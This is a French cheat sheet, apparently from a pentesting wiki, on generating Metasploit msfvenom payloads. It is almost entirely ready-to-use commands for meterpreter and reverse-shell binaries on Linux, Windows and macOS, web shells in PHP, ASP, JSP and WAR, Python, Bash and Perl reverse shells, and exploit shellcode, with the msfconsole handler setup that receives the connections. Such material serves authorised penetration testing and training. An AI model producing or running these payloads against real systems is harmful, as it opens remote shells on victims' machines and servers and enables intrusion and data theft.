**Générer un payload avec metasploit**


**1.Presentation**

Msfvenom est un logiciel du framework metasploit.

Il permet de générer , encoder , packer des payloads.

__Lister les payloads disponibles__

<code>msfvenom -l</code>

__Générer des binaires__

Pour Linux :

<code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f elf > shell.elf </code>

Pour Windows :

<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f exe > shell.exe </code>

Pour Mac :

<code>msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f macho > shell.macho </code>

__Générer des payloads pour le web__

En PHP :

<code>
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
</code>

En ASP :

<code>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f asp > shell.asp
</code>

En JSP :

<code>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.jsp
</code>

En WAR :

<code>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f war > shell.war
</code>

__Générer des payloads pour des langages de scripte__

En Python:

<code>
msfvenom -p cmd/unix/reverse_python LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.py
</code>

En Bash :

<code>
msfvenom -p cmd/unix/reverse_bash LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.sh
</code>

En Perl :

<code>
msfvenom -p cmd/unix/reverse_perl LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.pl
</code>

__Générer un shellcode__

Les shellcodes sont à insérer dans votre exploit.

Shellcode basé sur Linux

<code>
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
</code>

Shellcode basé sur windows

<code>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
</code>

Shellcode basé sur Mac

<code>
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
</code>

__Mise en place du handler__

Le handler permet de recevoir la connexion initier par votre payload.

<code>
Dans msfconsole :

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

</code>

Source : [[http://netsec.ws/?p=331]]